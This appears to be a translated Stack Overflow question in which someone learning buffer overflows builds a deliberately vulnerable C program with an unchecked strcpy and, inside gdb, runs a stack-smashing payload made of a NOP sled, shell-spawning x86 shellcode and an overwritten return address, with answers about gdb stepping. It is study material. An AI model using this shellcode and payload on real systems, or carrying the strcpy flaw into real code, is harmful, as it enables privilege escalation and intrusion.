【问题标题】:basic buffer overflow with strcpystrcpy 的基本缓冲区溢出
【发布时间】:2016-03-09 23:10:43
【问题描述】:

我在这里阅读有关基本缓冲区溢出的信息:http://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html。我以为我明白发生了什么,所以我制作了自己的程序:

//vulnerable1.c
#include <stdio.h>

#define MAX_DEGF_SIZE 720

int main(int argc, char* argv[])
{
    char degF[MAX_DEGF_SIZE];

    if (argc == 2 && strlen(argv[0]) < MAX_DEGF_SIZE) {
        strcpy(degF, argv[1]);
    } else {
        fprintf(stderr, "degF to degC converter\n");
        fprintf(stderr, "Usage: %s <degF>\n", argv[0]);

        return -1;
    }
}

由于缓冲区大小为 720,我测试了输入需要多大。

./vulnerable1 `perl -e 'print "A"x728'`
AA...AAA degF is -17.8 degC

./vulnerable1 `perl -e 'print "A"x732'`
AA...AA degF is -17.8 degC
Segmentation fault

在这里我看到我至少需要 732 个字节。接下来我解除 main 以查看实际保留了多少字节:

(gdb) disass main
Dump of assembler code for function main:
   0x08048514 <+0>: push   %ebp
   0x08048515 <+1>: mov    %esp,%ebp
   0x08048517 <+3>: and    $0xfffffff0,%esp
   0x0804851a <+6>: sub    $0x2f0,%esp

0x2f0 = 752。所以变量被填充了 20 个字节。因此,我需要 756 字节来开始覆盖保存的 ebp,并需要 760 字节来覆盖返回地址。我的堆栈细分是: NOPS(704 bytes) + shellcode (32 bytes) + 'A's (20 bytes) + Return Address ( 4 bytes) = 760

现在我试试看:

gdb -q vulnerable1
Reading symbols from /home/testUser/vulnerable1...done.
(gdb) break main
Breakpoint 1 at 0x8048520: file vulnerable1.c, line 11.
(gdb) r `perl -e 'print "\x90"x704, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`
Starting program: /home/testUser/vulnerable1 `perl -e 'print "\x90"x704, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`

Breakpoint 1, main (argc=2, argv=0xbffff564) at vulnerable1.c:11
11      if (argc == 2 && strlen(argv[0]) < MAX_DEGF_SIZE) {
(gdb) step
__strlen_sse2 () at ../sysdeps/i386/i686/multiarch/strlen.S:70
70  ../sysdeps/i386/i686/multiarch/strlen.S: No such file or directory.
    in ../sysdeps/i386/i686/multiarch/strlen.S
(gdb) step
73  in ../sysdeps/i386/i686/multiarch/strlen.S

这里发生了什么?

【问题讨论】:

  • 你用的是strlen(argv[0]),你不是说strlen(argv[1])吗?
  • OP 正在尝试利用示例程序中的漏洞。是的,它有错误,而且是故意的。
  • 让以argv[0] 开头的是可执行文件的名称,而不是第一个命令行参数。
  • 由于您没有gdb 可见的strcpy() 的源代码,因此您应该只通过该函数调用next 而不是尝试单步执行它。
  • 贴出的代码缺少语句:#include &lt;string.h&gt;

标签: c buffer-overflow


【解决方案1】:

您只是进入了strlen,它显然是用汇编实现的,而不是用 C 语言实现的(可能是为了提高性能)。

继续前进直到您返回main,或使用next 跳过函数调用。

【讨论】:

  • 或中断 strcpy 调用,使用 break main.c:1234(使用实际文件名和行号,而不是 main.c 和 1234)
  • 如果我只是简单地使用这些参数运行它,我会得到��...��1��ð̀1�Rhn/shh//bi��RS���B aaaaaaaaaaaaaaaaaaaa���� degF输出的分段错误为 -17.8 摄氏度。但仍然是同一个用户
猜你喜欢
  • 2015-07-07
  • 1970-01-01
  • 1970-01-01
  • 2014-07-22
  • 1970-01-01
  • 1970-01-01
  • 2015-12-31
  • 2015-12-16
  • 1970-01-01
相关资源
最近更新 更多